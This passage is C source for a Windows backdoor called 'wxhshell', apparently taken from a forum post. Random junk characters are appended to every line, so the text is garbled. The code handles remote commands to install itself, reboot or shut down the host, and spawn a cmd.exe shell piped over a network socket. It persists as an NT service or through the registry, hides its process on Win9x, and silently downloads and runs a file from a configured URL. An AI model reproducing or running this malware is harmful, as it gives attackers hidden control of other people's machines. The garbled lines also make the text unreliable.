  } o0No"8DnjH  
  else { \,NT5>  
]p+KN>1e  
    switch(cmd[0]) { -n"f>c_{>  
  aoW2c1`?Z  
  // 帮助 3"Oipt+  
  case '?': { 8 t=H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _"Y7}A\9  
    break; wE1GyN  
  } />Zfx.Aj6  
  // 安装 &#C&0f8PnD  
  case 'i': { FYik}wH]  
    if(Install()) V#,|#2otZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Zie2I?q  
    else *j83E[(]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :1f,%Z$,q  
    break; 4IZAJqw(*  
    } +/$&P3  
  // 卸载 ^-?^iWQ G  
  case 'r': { (BH<\&yHE  
    if(Uninstall()) n+=7u[AZi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ).,twf58  
    else vh2/d.MO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tlO=>  
    break; [4qvQ7Y !  
    } !Usmm8!K  
  // 显示 wxhshell 所在路径 ,.{M1D6'R`  
  case 'p': { W="pu5q$5  
    char svExeFile[MAX_PATH]; rJf{YUZe  
    strcpy(svExeFile,"\n\r"); a++gwl  
      strcat(svExeFile,ExeFile); @)Vb?|3  
        send(wsh,svExeFile,strlen(svExeFile),0); kS{k=V&hf_  
    break; <^;~8:0]  
    } - TH(Z(pB  
  // 重启 B7C<;`5TiD  
  case 'b': { 0K"+u9D^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~,s'-  
    if(Boot(REBOOT)) _0naqa!JyH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aC9iNm8w  
    else { *cFGDQ !  
    closesocket(wsh); P)y2'JKL  
    ExitThread(0); ql.[Uq  
    } G@D8 [  
    break; (oiQ5s^f  
    } '#A_KHD  
  // 关机 9BOn8p;yz  
  case 'd': { p79QEIbk=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (@T{ [\  
    if(Boot(SHUTDOWN)) 5R.jhYAj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%GBopv  
    else { y<IHZq`C3  
    closesocket(wsh); L6qK3xa}  
    ExitThread(0); L1lDDS#  
    } E}w5.1  
    break; ;gHcDnH)  
    } e"EGqn&!  
  // 获取shell dc emF  
  case 's': { ffB<qf)?G  
    CmdShell(wsh); oVUsI,8  
    closesocket(wsh); qe1>UfY  
    ExitThread(0); NV{= tAR  
    break; xZq, kP^  
  } ?gU - a  
  // 退出 nRq[il0 `i  
  case 'x': { Xq"9TYf$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V=1yg24B<  
    CloseIt(wsh); Y -BZV |  
    break; KvPLA{  
    } H^B,b !5i  
  // 离开 xV`)?hEXFh  
  case 'q': { hms Aim9i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c-7Zk!LfD  
    closesocket(wsh); &2y9J2aA  
    WSACleanup(); OI/]Y7D[Oq  
    exit(1); IO?a.L:6U  
    break; g~|x^d^;|  
        } =<M>fJ)  
  } o}wRgG  
  } .d#Hh&jj  
92,@tNQQ}  
  // 提示信息 (ux9"r^g;x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ga1b%5]v.  
} ZS3T1 <z  
  } o+^e+ptc  
]t17= Lr?  
  return; 1G(wESe  
} 2,|@a\H  
G'HLnx}Yi  
// shell模块句柄 N1n\tA?  
int CmdShell(SOCKET sock) X2~KNw  
{ REX/:sB<  
STARTUPINFO si; z __#P Q,n  
ZeroMemory(&si,sizeof(si)); Uq%|v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "$"<AKCwS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rTC|8e  
PROCESS_INFORMATION ProcessInfo; ](ztb)  
char cmdline[]="cmd"; 4Im}!q5;:<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )OlYz!#?  
  return 0; KJ-Q$ M  
} 'r^'wv]  
%74f6\  
// 自身启动模式 N'5DB[:c:  
int StartFromService(void) RzB64  
{ >NpW$P{'  
typedef struct @6U&7!  
{ u7p:6W  
  DWORD ExitStatus; 2<2a3'pG  
  DWORD PebBaseAddress; hg+;!|ha  
  DWORD AffinityMask; FFN.9[Ly  
  DWORD BasePriority; LXe'{W+bk  
  ULONG UniqueProcessId; zb9vUxN [  
  ULONG InheritedFromUniqueProcessId; k'[\r>T  
}   PROCESS_BASIC_INFORMATION; hB:+_[=Kj.  
Z\?!& &  
PROCNTQSIP NtQueryInformationProcess; )pey7-P7g5  
FQJFq6l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2NL|_W/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;ov}%t>UD  
pAEJ=Te  
  HANDLE             hProcess; gr>FLf   
  PROCESS_BASIC_INFORMATION pbi; R,zp&L  
4 >D5t)254  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fG7-0 7  
  if(NULL == hInst ) return 0; @[rlwwG,  
[9p@uRE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mL, {ZL ^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l4^8$@;s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R?*-ZI[>w  
%#]/ ]B/4  
  if (!NtQueryInformationProcess) return 0; *EtC4sP  
Ga *  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Z\$!:  
  if(!hProcess) return 0; 4T<dI6I0  
|@ZyD$?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jm |zn  
Rn whkb&&  
  CloseHandle(hProcess); MD+ eLA7  
PzLV}   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -1!s8G  
if(hProcess==NULL) return 0; AWmJm)   
A<g5:\3  
HMODULE hMod; rHtX4;f+><  
char procName[255]; +d6Jrd*  
unsigned long cbNeeded; sy9YdPPE  
Y9(BxDP_+Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ewinG-hX_  
t2%gS" [  
  CloseHandle(hProcess); #+3I$ k  
?Vr~~v"fg8  
if(strstr(procName,"services")) return 1; // 以服务启动 Fg^zz*e  
[  **F  
  return 0; // 注册表启动 23UXOY0BW  
} vf_pEkx*wD  
@] {:juD~  
// 主模块 tbi(e49S  
int StartWxhshell(LPSTR lpCmdLine) gem+$TFq  
{ n<sA?T  
  SOCKET wsl; z;i4F.p  
BOOL val=TRUE; x\(yjNZH  
  int port=0; TGPHjSZ1  
  struct sockaddr_in door; 7o M]qLF  
EY!P"u;  
  if(wscfg.ws_autoins) Install(); $%J $  
Vg"Ze[dA  
port=atoi(lpCmdLine); V P4ToYc  
3nkO+ qQ  
if(port<=0) port=wscfg.ws_port; 'P)[=+O?t  
CQ%yki  
  WSADATA data; > qIZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KTu&R6|  
a<V* )  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3qH`zYgh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3_k3U  
  door.sin_family = AF_INET; N_8L8ds5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [$GQ]Y  
  door.sin_port = htons(port); 2$QuR~  
t!vlZNc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E;x~[MA  
closesocket(wsl); K,GX5c5  
return 1; ;%aWA  
} ol8uV{:"  
6NqLo^ "g  
  if(listen(wsl,2) == INVALID_SOCKET) { GUK3`}!%  
closesocket(wsl); 4?&CK  
return 1; &@xeWB  
} vui{["  
  Wxhshell(wsl);  wZUR  
  WSACleanup(); 3H47 vm(`  
[ w1"  
return 0; \ 8X8N CM  
(vf5qF^  
} 1]XIF?_D m  
j2|!h%{nI  
// 以NT服务方式启动 lf9_!`DGV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U^X8{,8O  
{ -?<L"u  
DWORD   status = 0; 5Bc)QKh`l|  
  DWORD   specificError = 0xfffffff; ? &;d)TQ  
ed)!Snz   
  serviceStatus.dwServiceType     = SERVICE_WIN32; -x1O|q69  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DK;/eZe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V_7xXuM/  
  serviceStatus.dwWin32ExitCode     = 0; <ByDT$E_  
  serviceStatus.dwServiceSpecificExitCode = 0; IN9o$CZ:  
  serviceStatus.dwCheckPoint       = 0; MRHkQE+K@8  
  serviceStatus.dwWaitHint       = 0; ;42D+q=s  
;w}5:3+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w]0jq U6  
  if (hServiceStatusHandle==0) return; gBG.3\[  
S\UM0G}v  
status = GetLastError(); +nslS:(  
  if (status!=NO_ERROR) I2=Kq{  
{ R OQIw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QcQ|,lA.HI  
    serviceStatus.dwCheckPoint       = 0; ;EfMTI}6K  
    serviceStatus.dwWaitHint       = 0; KPA5 X]  
    serviceStatus.dwWin32ExitCode     = status; MXhRnVz"W  
    serviceStatus.dwServiceSpecificExitCode = specificError; B1Iq:5nmoS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {N,w5!cP  
    return; 0IM#T=V  
  } !kfnqe?|  
[}_ar  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7e"(]NC84  
  serviceStatus.dwCheckPoint       = 0; uNY]%[AnJ  
  serviceStatus.dwWaitHint       = 0; ] H[FZY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r4qFEFV3%  
} 8)k.lPoo.  
w,.Hdd6  
// 处理NT服务事件,比如:启动、停止 T;< >""T  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  93(  
{ }a_: oR  
switch(fdwControl) m"vV=6m|\  
{ [ @/[#p  
case SERVICE_CONTROL_STOP: Va/ p   
  serviceStatus.dwWin32ExitCode = 0; ~ +$l9~`{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6dmTv9e  
  serviceStatus.dwCheckPoint   = 0; Z@8amT;Y  
  serviceStatus.dwWaitHint     = 0; Z [5HI;  
  { n{Mj<\kL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Qq$ql27  
  } #UJ@P Dwil  
  return; Ve8`5  
case SERVICE_CONTROL_PAUSE: [P{Xg:0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4"j5@bppJ  
  break; }H ,A T  
case SERVICE_CONTROL_CONTINUE: ()>\D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Urx gKTry  
  break; &/, BFx"  
case SERVICE_CONTROL_INTERROGATE: 3)g1e=\i$  
  break; X6<HNLgra  
}; Aq|LeH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <STjB,_s  
} CsR~qQ 5  
uYMW5k_,>  
// 标准应用程序主函数 {hRAR8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qg _?..%  
{ O!]w J  
n5]<|>U vx  
// 获取操作系统版本 T+4Musu{V  
OsIsNt=GetOsVer(); j`'=K_+nU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W3 8 =fyD  
qW<: `y  
  // 从命令行安装 {YbqB6zaM  
  if(strpbrk(lpCmdLine,"iI")) Install(); M3F8@|2  
a<gzI  
  // 下载执行文件 z4J-qK~2  
if(wscfg.ws_downexe) { |ns^' q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HKcipDW  
  WinExec(wscfg.ws_filenam,SW_HIDE); xHr  
} h=4{.EegG&  
9Jk(ID'c  
if(!OsIsNt) { v @N8v  
// 如果时win9x,隐藏进程并且设置为注册表启动 KQ9:lJKr  
HideProc(); !P92e1  
StartWxhshell(lpCmdLine); Cm ;N5i  
} iy: ;g  
else Y9w= [[1  
  if(StartFromService()) m&A/IW,.  
  // 以服务方式启动 |k+&we uY  
  StartServiceCtrlDispatcher(DispatchTable); T8hQ< \g  
else >LU*F|F]B  
  // 普通方式启动 [bOy, ^@4  
  StartWxhshell(lpCmdLine); >PGm}s_  
|_=jXf\TL  
return 0; zPkg3H  
}
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只看该作者 1 发表于: 2006-10-10
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